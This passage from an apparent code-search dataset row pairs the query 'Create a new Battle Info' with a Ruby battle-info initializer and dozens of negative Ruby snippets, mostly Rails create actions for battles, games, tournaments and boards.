\"0.584539\",\n \"0.5810362\",\n \"0.5785963\",\n \"0.57702583\",\n \"0.57557154\",\n \"0.5747861\",\n \"0.57367295\",\n \"0.57002115\",\n \"0.56945807\",\n \"0.56920785\",\n \"0.56807\",\n \"0.56670827\",\n \"0.56632984\",\n \"0.56440955\",\n \"0.5627485\",\n \"0.5615221\",\n \"0.55631894\",\n \"0.55349356\",\n \"0.5522219\",\n \"0.5518874\",\n \"0.550817\",\n \"0.5487343\",\n \"0.54798794\",\n \"0.54745376\",\n \"0.5417851\",\n \"0.54176307\",\n \"0.5409911\",\n \"0.5409905\",\n \"0.5409905\",\n \"0.54015183\",\n \"0.53951615\",\n \"0.5392484\",\n \"0.5387024\",\n \"0.5385525\",\n \"0.536814\",\n \"0.53676265\",\n \"0.53561395\",\n \"0.53529066\",\n \"0.5352365\",\n \"0.533039\",\n \"0.5326389\",\n \"0.5318685\",\n \"0.53161126\",\n \"0.5312685\",\n \"0.5305382\",\n \"0.52927506\",\n \"0.5285601\",\n \"0.52855074\",\n \"0.52801985\",\n \"0.5279317\",\n \"0.52791464\",\n \"0.52790564\",\n \"0.5278205\",\n \"0.5267771\",\n \"0.52553207\",\n \"0.5247256\",\n \"0.52413374\",\n \"0.52367437\",\n \"0.52234375\",\n \"0.52227926\",\n \"0.5209573\",\n \"0.5206833\",\n \"0.5205591\",\n \"0.52049124\",\n \"0.5195546\",\n \"0.51911885\",\n \"0.5189912\",\n \"0.51869655\",\n \"0.5172383\",\n \"0.5170768\",\n \"0.5168177\",\n \"0.51654786\",\n \"0.5165447\",\n \"0.5164771\",\n \"0.5146661\",\n \"0.51379\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.6927845"},"document_rank":{"kind":"string","value":"3"}}},{"rowIdx":171995,"cells":{"query":{"kind":"string","value":"Create a new Battle Info"},"document":{"kind":"string","value":"def initialize(hash = {})\n @names = hash[:names] || [[], []]\n @classes = hash[:classes] || [[], []]\n @battlers = hash[:battlers] || [[], []]\n @bags = hash[:bags] || [[], []]\n @parties = hash[:parties] || [[], []]\n @max_level = hash[:max_level] || nil\n @vs_type = hash[:vs_type] || 1\n @trainer_is_couple = hash[:couple] || false\n @battle_id = hash[:battle_id] || -1\n end"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def create\n @battle = Battle.new(battle_params)\n\n respond_to do |format|\n if @battle.save\n format.html { redirect_to @battle, notice: 'Battle was successfully created.' }\n format.json { render :show, status: :created, location: @battle }\n else\n format.html { render :new }\n format.json { render json: @battle.errors, status: :unprocessable_entity }\n end\n end\n end","def create\n @battle = Battle.new(battle_params)\n\n respond_to do |format|\n if @battle.save\n format.html { redirect_to @battle, notice: 'Battle was successfully created.' }\n format.json { render action: 'show', status: :created, location: @battle }\n else\n format.html { render action: 'new' }\n format.json { render json: @battle.errors, status: :unprocessable_entity }\n end\n end\n end","def create\n @battle = Battle.new(params[:battle])\n\n respond_to do |format|\n if @battle.save\n format.html { redirect_to @battle, notice: 'Battle was successfully created.' }\n format.json { render json: @battle, status: :created, location: @battle }\n else\n format.html { render action: \"new\" }\n format.json { render json: @battle.errors, status: :unprocessable_entity }\n end\n end\n end","def create\n @battle = Battle.new(params[:battle])\n \n @ship1 = Ship.find(@battle.ship1_id)\n @ship2 = Ship.find(@battle.ship2_id)\n @character = Character.find(1)\n @finished = Battle.battle(@ship1,@ship2)\n \n respond_to do |format|\n if @battle.save\n flash[:notice] = 'Battle was successfully created.'\n format.html { redirect_to(@finished) }\n format.xml { render :xml => @battle, :status => :created, :location => @battle }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @battle.errors, :status => :unprocessable_entity }\n end\n end\n end","def create\n @battle = Battle.new(battle_params)\n\n if @battle.save\n redirect_to battles_stream_path(@battle.id), notice: 'Battle was successfully created.'\n else\n render :new\n end\n end","def create_info\n @pokemon_info = DexWinInfo.new(@viewport)\n @pokemon_descr = @stack.add_text(11, 153, 298, 16, nil.to_s, color: 10)\n end","def create_battle_planes\n @battle_plane = Battle_Plane.new(@viewport1)\n end","def new\n @battle = Battle.new\n @ships = Ship.find(:all)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @battle }\n end\n end","def new\n @battle = Battle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @battle }\n end\n end","def create\n @board_info = BoardInfo.new(params[:board_info])\n\n respond_to do |format|\n if @board_info.save\n format.html { redirect_to @board_info, notice: 'Board info was successfully created.' }\n format.json { render json: @board_info, status: :created, location: @board_info }\n else\n format.html { render action: \"new\" }\n format.json { render json: @board_info.errors, status: :unprocessable_entity }\n end\n end\n end","def create\n @battle = Battle.new(battle_params)\n if params[:ghost_pet_id] == 0 or params[:ghost_pet_id] == '0'\n @ghost_archetype = Pet.order(\"RANDOM()\").first\n else\n @ghost_archetype = Pet.find(params[:ghost_pet_id])\n end\n if params[:bounty_id] != nil\n @bounty = Bounty.find(params[:bounty_id])\n @battle.update_attribute(:bounty_id, @bounty.id)\n @bounty.update_attribute(:number_of_bounties, @bounty.number_of_bounties -= 1)\n pay_from = BlockIo.get_user_address user_id: current_user.block_io_wallet_id\n BlockIo.withdraw_from_user from_addresses: pay_from['data']['address'], payment_address: 'DQmRmDRsvPNteofRBPwktTSdmB3NPjkvMd', amount: @bounty.amount\n end\n @ghost = Ghost.new\n @battle.update_attribute(:ghost_id, @ghost.id)\n @battle.update_attribute(:background_url, Guild.order(\"RANDOM()\").first.imageurl)\n @ghost.update_attribute(:name, @ghost_archetype.name)\n @ghost.update_attribute(:imageurl, @ghost_archetype.imageurl)\n @ghost.update_attribute(:element, @ghost_archetype.element)\n @ghost.update_attribute(:user_id, @ghost_archetype.user_id)\n @ghost.update_attribute(:pet_id, @ghost_archetype.id)\n @pet = Pet.find(@battle.pet_id)\n @pet.update_attribute(:health, 100)\n @pet.update_attribute(:magic, 100)\n @ghost.update_attribute(:health, 100)\n @ghost.update_attribute(:magic, 100)\n #now adding copies of pets items to ghost\n @ghost.save\n @battle.ghost = @ghost\n @battle.update_attribute(:b_pet_turn, 'true')\n\n if @pet.against_ghost_losses == nil\n @pet.update_attribute(:against_ghost_losses, 0)\n end\n if @pet.against_ghost_wins == nil\n @pet.update_attribute(:against_ghost_wins, 0)\n end\n if @pet.ghost_losses == nil\n @pet.update_attribute(:ghost_losses, 0)\n end\n if @pet.ghost_wins == nil\n @pet.update_attribute(:ghost_wins, 0)\n end\n\n if Pet.find(@ghost.pet_id).against_ghost_losses == nil\n Pet.find(@ghost.pet_id).update_attribute(:against_ghost_losses, 0)\n end\n if Pet.find(@ghost.pet_id).against_ghost_wins == nil\n Pet.find(@ghost.pet_id).update_attribute(:against_ghost_wins, 0)\n end\n if Pet.find(@ghost.pet_id).ghost_losses == nil\n Pet.find(@ghost.pet_id).update_attribute(:ghost_losses, 0)\n end\n if Pet.find(@ghost.pet_id).ghost_wins == nil\n Pet.find(@ghost.pet_id).update_attribute(:ghost_wins, 0)\n end\n\n respond_to do |format|\n if @battle.save\n Pet.find(@battle.pet_id).update_attribute(:battle_id, @battle.id)\n flash[:notice] = 'Welcome!'\n format.html { redirect_to @battle, notice: 'A new battle has begun! Time to play your first move!' }\n format.json { render :show, status: :created, location: @battle }\n else\n format.html { render :new }\n format.json { render json: @battle.errors, status: :unprocessable_entity }\n end\n end\n end","def create\n @game_info = GameInfo.new(game_info_params)\n\n respond_to do |format|\n if @game_info.save\n format.html { redirect_to @game_info, notice: 'Game info was successfully created.' }\n format.json { render action: 'show', status: :created, location: @game_info }\n else\n format.html { render action: 'new' }\n format.json { render json: @game_info.errors, status: :unprocessable_entity }\n end\n end\n end","def create\n @battle = Battle.new(battle_params)\n @battle.user_id = current_user.id\n @battle.start_date = Time.now.utc\n date_end = Chronic.parse(params[:battle][:end_date])\n @battle.end_date = date_end.nil? ? nil : date_end.utc.to_s\n debugger\n if params[:character_ids]\n char_ids = params[:character_ids]\n char_ids.shift\n end\n if char_ids.nil? || (char_ids.length < 2)\n @battle.errors.add(:battle_rosters, \"A battle must have at least two characters.\")\n end\n respond_to do |format|\n if @battle.errors.empty? && @battle.save\n char_ids.each do |char_id|\n @battle.battle_rosters.create(character_id: char_id.to_i)\n end\n format.html { redirect_to @battle, notice: 'Battle was successfully created.' }\n format.json { render action: 'show', status: :created, location: @battle }\n else\n flash[:error] = @battle.errors.full_messages\n format.html { render action: 'new' }\n format.json { render json: @battle.errors, status: :unprocessable_entity }\n end\n end\n end","def create_lobby(name)\n {\n \"id\" => @lobby_class.create(:lobby_name => name).id\n }\n end","def create\n tournament = Tournament.open.last\n\n if tournament\n @player = tournament.players.new name: params[:name],\n key: SecureRandom.uuid\n if @player.valid?\n @player.save!\n message = { :name => @player.name,\n :key => @player.key,\n :message => @player.key }\n else\n message = { :message => \"You must register with a valid and unique player name.\" }\n end\n\n respond_to do |format|\n format.json { render :json => message }\n format.xml { render :xml => message }\n format.html { redirect_to '/pages/registration', :notice => message[:message] }\n end\n else\n respond_to do |format|\n format.json { render_not_found \"The tournament is currently closed.\" }\n format.xml { render_not_found \"The tournament is currently closed.\" }\n format.html { redirect_to '/pages/registration', :alert => \"The tournament is currently closed.\" }\n end\n end\n end","def create\n @battle_roster = BattleRoster.new(battle_roster_params)\n\n respond_to do |format|\n if @battle_roster.save\n format.html { redirect_to @battle_roster, notice: 'Battle roster was successfully created.' }\n format.json { render action: 'show', status: :created, location: @battle_roster }\n else\n format.html { render action: 'new' }\n format.json { render json: @battle_roster.errors, status: :unprocessable_entity }\n end\n end\n end","def create\n x = Algorithm.array_string_to_array(beacon_params[\"x_motion\"])\n y = Algorithm.array_string_to_array(beacon_params[\"y_motion\"])\n z = Algorithm.array_string_to_array(beacon_params[\"z_motion\"])\n p \"check\"\n if x.length >= 6\n # Algorithm.is_not_walking?(x,y,z)\n if Rep.rep_predict(beacon_params[\"x_motion\"],beacon_params[\"y_motion\"],beacon_params[\"z_motion\"], \"Shoulder Press\") >= 1\n @info = Ibeacon.new \n @info.x_motion = beacon_params[\"x_motion\"]\n @info.y_motion = beacon_params[\"y_motion\"]\n @info.z_motion = beacon_params[\"z_motion\"]\n @info.exercise_name = @info.classify_exercise(beacon_params[\"x_motion\"],beacon_params[\"y_motion\"],beacon_params[\"z_motion\"])\n @info.reps_counted = Rep.rep_predict(beacon_params[\"x_motion\"],beacon_params[\"y_motion\"],beacon_params[\"z_motion\"], @info.exercise_name)\n @info.weight_lb = @info.reps_counted*beacon_params[\"weight_lb\"][9..-2].to_i\n @info.save\n end\n end \n \n end","def create\n party = []\n (1..6).each do |p_number|\n level = params[:dungeon_instance][\"hero#{p_number}_level\"].to_i\n party << level if level > 0\n end\n\n dungeon = Dungeon.new\n dungeon.generate( params[:dungeon_instance][:size].to_i, party,\n encounters_difficulty: params[:dungeon_instance][:difficulty].to_sym )\n # p dungeon.to_json\n\n @dungeon_instance = DungeonInstance.new( dungeon_instance_params.merge( dungeon_data: dungeon.to_json ) )\n\n respond_to do |format|\n if current_user.dungeon_instances << @dungeon_instance\n format.html { redirect_to dungeon_instance_play_path( @dungeon_instance ), notice: 'Dungeon instance was successfully created.' }\n else\n format.html { redirect_to dungeon_instances_path, error: 'Dungeon instance was successfully created.' }\n end\n end\n end","def create_new_pg_game\n @log.debug \"bot create_new_pg_game on state #{@state_pg_create}, supported games num: #{@supported_games.size}\"\n if @state_pg_create != :submitted\n #p @supported_games\n @supported_games.each do |item|\n if item[:name] == nil\n @log.warn \"Ignore to send game creation without a name maybe it is disabled in game_info, item is #{ObjTos.stringify(item)}\"\n next\n end\n @log.debug \"Submit pg game on #{item[:name]}\"\n #msg_det = \"#{item[:name]},#{item[:stropt]}\"\n info = {\n :game => item[:name],\n :prive => {:val => false, :pin => '' },\n :class => @playfor_classment,\n :opt_game => item[:opt] \n }\n @log.debug \"auto_create_new_game, pg_create2: #{ObjTos.stringify(info)}\"\n @control_net_conn.send_create_pg2(info)\n end\n @state_pg_create = :submitted\n end\n end","def create(_team)\n # stub\n end","def create_game(user1, game_id, players, type)\n game_factory = ConnectGameFactory.new(players.to_i, type.to_sym)\n @game_list[game_id] = GameInfo.new(game_factory.connect_game, game_factory.game_state, nil, user1, nil)\n ''\n end","def battle_params\n params.require(:battle).permit(:name, :year, :battle_number, :attacker_king, :defender_king, :attacker_1, :defender_1, :battle_outcome, :battle_type, :major_deaths, :major_capture, :attacker_size, :defender_size, :attacker_commander, :defender_commander, :summer, :location, :region, :note)\n end","def create\n @military_battle_round = Military::BattleRound.new(params[:military_battle_round])\n\n respond_to do |format|\n if @military_battle_round.save\n format.html { redirect_to @military_battle_round, notice: 'Battle round was successfully created.' }\n format.json { render json: @military_battle_round, status: :created, location: @military_battle_round }\n else\n format.html { render action: \"new\" }\n format.json { render json: @military_battle_round.errors, status: :unprocessable_entity }\n end\n end\n end","def create\r\n @battle_mech = BattleMech.new(params[:battle_mech])\r\n\r\n if @battle_mech.save\r\n flash[:success] = \"New BattleMech created\"\r\n redirect_to @battle_mech\r\n else\r\n @title = \"New BattleMech\"\r\n render \"new\"\r\n end\r\n end","def create\n #Clone:\n #user\n #boat\n #crew\n \n #save them\n #use these ids for registration\n \n #Make a new boat, with data from the boat at this time\n #Save it along with the id's (user,boat,regattum id)\n \n boat = Boat.find(params[:registration][:boat_id])\n user = boat.user\n user_clone = user.clone\n user_clone.cloned_from user.id\n user_clone.save\n boat_clone = boat.clone\n boat_clone.user = user_blone\n boat_clone.cloned_from = boat.id\n eqs = boat.equipments\n eqs_clone = []\n eqs.each do |e|\n eqs_clone << e\n end\n eqs_clone.each do |e|\n e.save\n end\n boat_clone.equipments = eqs_clone\n \n sails = boat.sails\n sails_clone = []\n sails.each do |sail|\n sails_clone << sail.clone\n end\n sails_clone do |sail|\n sail.save\n end\n boat_clone.sails = sails_clone\n\n crews = boat.crews\n crews_clone = []\n crews.each do |crew|\n tmp = crew.clone\n tmp.cloned_from = crew.id\n crews_clone << tmp\n end\n \n crews_clone.each do |crew|\n crew.save\n end\n boat_clone.crews = crews_clone\n boat_clone.save\n crews_clone.each do |crew|\n tmp = crew.user.clone\n tmp.cloned_from = crew.user.id\n tmp.save\n crew.user = tmp\n crew.boat = boat_clone\n crew.save\n end\n \n @registration = Registration.new(params[:registration])\n\n respond_to do |format|\n if @registration.save\n format.html { redirect_to(@registration, :notice => 'Registration was successfully created.') }\n format.xml { render :xml => @registration, :status => :created, :location => @registration }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @registration.errors, :status => :unprocessable_entity }\n end\n end\n end","def create\n @battle_environment = BattleEnvironment.new(member_params)\n @battle_environment.user_id = current_user.id\n\n respond_to do |format|\n if @battle_environment.save\n show_success_message\n format.html { redirect_to(@battle_environment) }\n format.xml { render :xml => @battle_environment, :status => :created, :location => @battle_environment }\n else\n show_failed_message if not @battle_environment.errors.any?\n format.html { render :action => \"new\" }\n format.xml { render :xml => @battle_environment.errors, :status => :unprocessable_entity }\n end\n end\n end","def create\n @battle = Battle.new\n @battle.user = current_user\n\n params[:battle][:hashtags_attributes].each do |i, hashtag|\n next if hashtag[:name].blank?\n @battle.hashtags << Hashtag.find_or_create_by(name: hashtag[:name])\n end\n\n # At least 2 valid hashtags - maximum 5\n if @battle.save\n redirect_to @battle\n else\n render new_battle_path(@battle), alert: @battle.errors\n end\n end","def set_battle\n @battle = Battle.find(params[:id])\n end","def set_battle\n @battle = Battle.find(params[:id])\n end","def set_battle\n @battle = Battle.find(params[:id])\n end","def create\n p = game_params\n\n home_team_name = p.delete(:home_team_name)\n away_team_name = p.delete(:away_team_name)\n p[:home_team_id] = find_or_create_team(home_team_name).try(:id)\n p[:away_team_id] = find_or_create_team(away_team_name).try(:id)\n\n @game = Game.new(p)\n @game.user = current_user\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new, notice: 'Game was successfully created.' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end","def create\n @game = Game.new(params[:game])\n\t\n #First update the players table to indicate who is playing this game\n set_player_availability(params)\n \n #Create a team to hold the home team players\n home_team = Team.new\n home_team.name = params[:home_team_name]\n home_team.save\n @game.home_team_id = home_team.id\n \n #Create a team to hold the away team players\n away_team = Team.new\n away_team.name = params[:away_team_name]\n away_team.save\n @game.away_team_id = away_team.id\n \n #Create home and away teams from available players\n build_teams(home_team, away_team)\n \n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end","def create\n @battle = Battle.new(battle_params)\n if @battle.tokimon1 == nil || @battle.tokimon2 == nil\n respond_to do |format|\n @battle.destroy\n flash.now[:notice] = \"Please select two Tokimon.\"\n format.html { render :new }\n format.json { render json: @tokimon.errors, status: :unprocessable_entity }\n end\n else\n tok1 = Tokimon.find(@battle.tokimon1)\n tok2 = Tokimon.find(@battle.tokimon2)\n hp1 = tok1.weight + tok1.height\n hp2 = tok2.weight + tok2.height\n turn = 1\n attacker = tok1\n defender = tok2\n message = \"#{tok1.name}'s HP: #{hp1}\"\n message += \"\\n#{tok2.name}'s HP: #{hp2}\"\n while hp1 > 0 && hp2 > 0\n roll = rand(0..5)\n if roll == 0\n if (defender.water > attacker.fire)\n message += \"\\n#{defender.name} blocked #{attacker.name}'s fire attack with it's high water ability.\"\n else\n message += \"\\n#{defender.name} was hit by #{attacker.name}'s fire attack.\"\n if attacker == tok1\n hp2 += -attacker.fire\n elsif attacker == tok2\n hp1 += -attacker.fire\n end\n end\n elsif roll == 1\n if (defender.electric > attacker.water)\n message += \"\\n#{defender.name} blocked #{attacker.name}'s water attack with it's high electric ability.\"\n else\n message += \"\\n#{defender.name} was hit by #{attacker.name}'s water attack.\"\n if attacker == tok1\n hp2 += -attacker.water\n elsif attacker == tok2\n hp1 += -attacker.water\n end\n end\n elsif roll == 2\n if (defender.fight > attacker.electric)\n message += \"\\n#{defender.name} blocked #{attacker.name}'s electric attack with it's high fight ability.\"\n else\n message += \"\\n#{defender.name} was hit by #{attacker.name}'s electric attack.\"\n if attacker == tok1\n hp2 += -attacker.electric\n elsif attacker == tok2\n hp1 += -attacker.electric\n end\n end\n elsif roll == 3\n if (defender.fly > attacker.fight)\n message += \"\\n#{defender.name} blocked #{attacker.name}'s fight attack with it's high fly ability.\"\n else\n message += \"\\n#{defender.name} was hit by #{attacker.name}'s fight attack.\"\n if attacker == tok1\n hp2 += -attacker.fight\n elsif attacker == tok2\n hp1 += -attacker.fight\n end\n end\n elsif roll == 4\n if (defender.ice > attacker.fly)\n message += \"\\n#{defender.name} blocked #{attacker.name}'s fly attack with it's high ice ability.\"\n else\n message += \"\\n#{defender.name} was hit by #{attacker.name}'s fly attack.\"\n if attacker == tok1\n hp2 += -attacker.fly\n elsif attacker == tok2\n hp1 += -attacker.fly\n end\n end\n elsif roll == 5\n if (defender.fire > attacker.ice)\n message += \"\\n#{defender.name} blocked #{attacker.name}'s ice attack with it's high fire ability.\"\n else\n message += \"\\n#{defender.name} was hit by #{attacker.name}'s ice attack.\"\n if attacker == tok1\n hp2 += -attacker.ice\n elsif attacker == tok2\n hp1 += -attacker.ice\n end\n end\n end\n if attacker == tok1\n attacker = tok2\n defender = tok1\n elsif attacker == tok2\n attacker = tok1\n defender = tok2\n end\n turn += 1\n if turn == 1000\n hp1 = 0\n end\n message += \"\\n#{tok1.name}'s HP: #{hp1} #{tok2.name}'s HP:#{hp2}\"\n if hp1 <= 0\n @battle.winner = @battle.tokimon2\n message += \"\\n#{tok1.name} has fainted. #{tok2.name} is the winner.\\n\"\n elsif hp2 <= 0\n @battle.winner = @battle.tokimon1\n message += \"\\n#{tok2.name} has fainted. #{tok1.name} is the winner.\\n\"\n end\n end\n respond_to do |format|\n if @battle.save\n format.html { redirect_to @battle, notice: message }\n format.json { render :show, status: :created, location: @battle }\n else\n format.html { render :new }\n format.json { render json: @battle.errors, status: :unprocessable_entity }\n end\n end\n end\n end","def create\r\n\r\n\r\n end","def create\n @g_game_board = GGameBoard.new(g_game_board_params)\n\n # By default : stark vs lannister\n major_houses_code_name = %w( stark lannister )\n\n respond_to do |format|\n if @g_game_board.save\n HHouse.suzerains.each do |house|\n if major_houses_code_name.include?( house.code_name )\n @g_game_board.declare_major_houses( house )\n else\n @g_game_board.declare_minor_houses( house )\n end\n end\n\n @g_game_board.refresh_tokens\n\n format.html { redirect_to @g_game_board, notice: 'G game board was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end","def set_battle\n @battle = Battle.find(params[:id])\n end","def set_battle\n @battle = Battle.find(params[:id])\n end","def set_battle\n @battle = Battle.find(params[:id])\n end","def set_battle\n @battle = Battle.find(params[:id])\n end","def new\n @battle = Battle.new \n @battle.user = current_user\n\n 2.times { @battle.hashtags.build }\n end","def create\n @bingo_hall = BingoHall.new(name: bingo_hall_params[:name])\n\n respond_to do |format|\n if @bingo_hall.save\n bingo_board = @bingo_hall.bingo_boards.create\n Player.create(name: bingo_hall_params[:player_name], bingo_board: bingo_board)\n format.html { redirect_to @bingo_hall, notice: \"Bingo hall was successfully created.\" }\n format.json { render :show, status: :created, location: @bingo_hall }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @bingo_hall.errors, status: :unprocessable_entity }\n end\n end\n end","def generate_new_game_data\n associate_game_store_clue_entries(generate_random_neighborhoods)\n @current_neighborhood = neighborhoods[0]\n @last_correct_neighborhood = neighborhoods[0]\n @next_correct_neighborhood = neighborhoods[1]\n self.neighborhood = current_neighborhood\n pick_suspect\n self.save\n end","def create_infos(infos)\n # info Create\n infos.each do |record|\n \n # Start\n info = info.new\n \n #Add data\n info.name = record[:info_name]\n info.short_name = record[:short_name]\n info.industry_id = lookup_industry_id(record[:industry]) # format: 4e9fab7aa6c2321681000026 / lookup_industry_id(industry_name)\n info.active = true \n \n # Save it!\n if info.valid?\n info.save!\n puts \"The info #{record[:info_name]} has been added to the database.\" \n else\n puts \"Errors found with info: #{record[:info_name]}\"\n puts \"ERRORS: #{info.errors.full_messages}\"\n end\n \n puts \"---------------------------------------------------------------\"\n end\n puts \"DONE!\"\n end","def new_game \n\t\t@game = create_game message[:player], message[:ships]\n\t\tWebsocketRails[:updates].trigger(:created_game, @game)\n\tend","def set_battle\n # TODO: Not Found 時処理\n @battle = Battle.find(params[:battle_id])\n end","def create\n eqs = []\n puts params\n params[:boat][:equipments].each do |i|\n eqs << Equipment.find(i)\n end\n params[:boat][:equipments] = eqs\n @boat = Boat.new(params[:boat])\n\n respond_to do |format|\n if @boat.save\n format.html { redirect_to(@boat, :notice => 'Boat was successfully created.') }\n format.xml { render :xml => @boat, :status => :created, :location => @boat }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @boat.errors, :status => :unprocessable_entity }\n end\n end\n end","def create_new_game\n create_new_party\n $pokemon_party.expand_global_var\n $trainer.redefine_var\n $scene = Scene_Map.new\n Yuki::TJN.force_update_tone\n @running = false\n end","def create\n @new_tile = NewTile.new(new_tile_params)\n\n respond_to do |format|\n if @new_tile.save\n format.html { redirect_to @new_tile, notice: 'New tile was successfully created.' }\n format.json { render :show, status: :created, location: @new_tile }\n else\n format.html { render :new }\n format.json { render json: @new_tile.errors, status: :unprocessable_entity }\n end\n end\n end","def battle_params\n params[:battle].permit(:name, :desc, :end_date)\n end","def battletest_setup\r\n # Set up party for battle test\r\n $game_party.setup_battle_test_members\r\n # Set troop ID, can escape flag, and battleback\r\n $game_temp.battle_troop_id = $data_system.test_troop_id\r\n $game_temp.battle_can_escape = true\r\n $game_map.battleback_name = $data_system.battleback_name\r\n end","def send_create_new_battle_on_client(units, shared_data, mana_data)\n write_data [SEND_CREATE_NEW_BATTLE_ON_CLIENT_ACTION, @latency, @id, units, shared_data, mana_data]\n end","def create(fighter, bomber)\n @fighter = fighter\n @bomber = bomber\n end","def create\n\n @board, starting_plot, starting_plot_id = Board.create_new_board\n\n respond_to do |format|\n @board.transaction do\n if @board.save\n add_players_to_board\n\n # GameData::LocationsMonsters.new.fill_board(@board)\n\n @board.create_monster( :mouth_of_sauron, :dol_guldur )\n @board.create_monster( :black_serpent, :near_harad )\n\n @board.log( nil, 'setup.set_starting_plot', { plot_card: starting_plot_id } )\n @board.log( nil, 'setup.set_influence_in_shadow_pool', { count: starting_plot.influence.shadow_pool } )\n\n starting_plot.influence.init.each do |key, value|\n @board.log( nil, 'setup.set_influence_in_location', { count: value, location: key.to_s.humanize } )\n end\n\n @board.set_plot nil, 1, starting_plot_id, starting_plot\n\n format.html { redirect_to boards_path, notice: 'Board was successfully created.' }\n format.json { render :show, status: :created, location: @board }\n else\n format.html { render :new }\n format.json { render json: @board.errors, status: :unprocessable_entity }\n end\n end\n end\n end","def create\n @tournament = Tournament.new(tournament_params)\n\n @tournament.qualifier_stage = false\n @tournament.main_stage = false\n\n puts @tournament.name\n puts @tournament.event\n #below is for testing purposes, for Challonge\n #if working, remove the comment\n api = Challonge.new()\n raw_response = api.create_tournament(@tournament.name, @tournament.event)\n response = JSON.parse(raw_response)\n @tournament.challonge_tournament_id = response[\"tournament\"][\"id\"]\n respond_to do |format|\n if @tournament.save\n format.html { redirect_to @tournament, notice: 'Tournament was successfully created.' }\n format.json { render :show, status: :created, location: @tournament }\n else\n format.html { render :new }\n format.json { render json: @tournament.errors, status: :unprocessable_entity }\n end\n end\n end","def fill_up(race)\n race.max_teams.times do |x|\n team = FactoryGirl.create :team, :name => \"team#{x}\"\n race.registrations.create name: \"team#{x}\", team: team\n end\n end","def new_tictactoe_board(created_by, friend_2)\n\n\t\t#verify that created_by exists in the users table\n\t\tcreator = User.find_by_id(created_by)\n\t\tplaymate = User.find_by_id(friend_2)\n\t\treturn -1 if creator.nil? || playmate.nil?\n\n\t\tboard = Tictactoeboard.create(:gamelet_id => self.id, :win_code => NIL_OR_ERROR, :status => OPEN_GAME, :num_pieces_placed => 0, :winner => nil, :created_by => creator.id, :playmate => playmate.id, :whose_turn => CREATORS_TURN) # it's the creator's turn first\n\n\t\t#create all spaces/indicators and init them\n\t\tfor i in 0..2\n\t\t\tnewRowIndicator = Tictactoeindicator.create(:x_count => 0, :y_count => 0, :is_a_row => true, :row_or_col_index => i)\n\t\t\tnewColIndicator = Tictactoeindicator.create(:x_count => 0, :y_count => 0, :is_a_row => false, :row_or_col_index => i)\n\t\t\t\n\t\t\tboard.tictactoeindicators << newRowIndicator\n\t\t\tboard.tictactoeindicators << newColIndicator\n\t\t for j in 0..2\n\t\t \tcoordinate_int = i.to_s() + j.to_s()\n\t\t \tcoordinate_int = Integer(coordinate_int)\n\t\t newSpace = Tictactoespace.create(:coordinates => coordinate_int, :available => true)\n\t\t board.tictactoespaces << newSpace\n\t\t end\n\t\tend\n\n\t\t#create across indicators\n\t\tnewAcrossIndicator = Tictactoeindicator.create(:x_count => 0, :y_count => 0, :is_a_row => ACROSS_INDICATOR_IS_A_ROW, :row_or_col_index => ACROSS_INDICATOR_INDEX)\n\t\tnewAcrossIndicator2 = Tictactoeindicator.create(:x_count => 0, :y_count => 0, :is_a_row => ACROSS_INDICATOR_2_IS_A_ROW, :row_or_col_index => ACROSS_INDICATOR_2_INDEX)\n\t\tboard.tictactoeindicators << newAcrossIndicator\n\t\tboard.tictactoeindicators << newAcrossIndicator2\n\n\t\treturn board.id\n\tend","def create_character(user, name: \"Testy McTesterson\", race: Race.first, starting_points: 20, starting_florins: 0, starting_death_thresholds: 10, state: \"active\", title: \"\", no_title: false, declared_on: 5.years.ago)\n character = user.characters.create_with(race: race, starting_points: starting_points, starting_florins: starting_florins, starting_death_thresholds: starting_death_thresholds, state: state, title: title, declared_on: declared_on, no_title: no_title).find_or_create_by!(name: name)\n guild_membership = character.guild_memberships.build\n guild_membership.character = character\n guild_membership.start_points = 0\n guild_membership.declared_on = character.declared_on\n guild_membership.provisional = false\n guild_membership.approved = true\n character.save!\n character\n end","def create\n @game = Game.find(params[:game_id])\n if @game.password == params[:game_password] then\n @team = Team.new\n @team.name = params[:name]\n @team.game_id = params[:game_id]\n \n @leader = Player.find(params[:leader_id])\n @team.leader_id = @leader.id\n\n respond_to do |format|\n if @team.save\n format.xml { render :xml => @team, :status => :created, :location => @team }\n format.json { render :json => @team, :status => :created, :location => @team }\n @leader.team_id = @team.id\n @leader.save\n else\n format.xml { render :xml => @team.errors, :status => :unprocessable_entity }\n format.json { render :json => @team.errors, :status => :unprocessable_entity }\n end\n end\n else\n head :unauthorized\n end\n end","def create\n\t\t@war = War.new(war_params)\n\t\t@war.guild1 = current_user.guild\n\t\t@war.points_to_win = 0 unless @war.points_to_win\n\t\t@war.points1 = 0 unless @war.points1\n\t\t@war.points2 = 0 unless @war.points2\n\t\t@war.state = \"waiting for war times\"\n\n\t\trespond_to do |format|\n\t\t\tif @war.save\n\t\t\t\tback_page = @war\n\t\t\t\tback_page = URI(request.referer).path if params[:back]\n\t\t\t\tformat.html { redirect_to back_page, notice: 'War was successfully created.' }\n\t\t\t\tformat.json { render :show, status: :created, location: back_page }\n\t\t\telse\n\t\t\t\tformat.html { broadcast_errors @war, (['guild2_id', 'start_at', 'end_at', 'points_to_win', 'all_match']) }\n\t\t\t\tformat.json { render json: @war.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend","def initialize(battle_info)\n # Call the initialize of GamePlay::Base (show message box at z index 10001)\n super(false, 10_001)\n @battle_info = battle_info\n $game_temp.vs_type = battle_info.vs_type\n 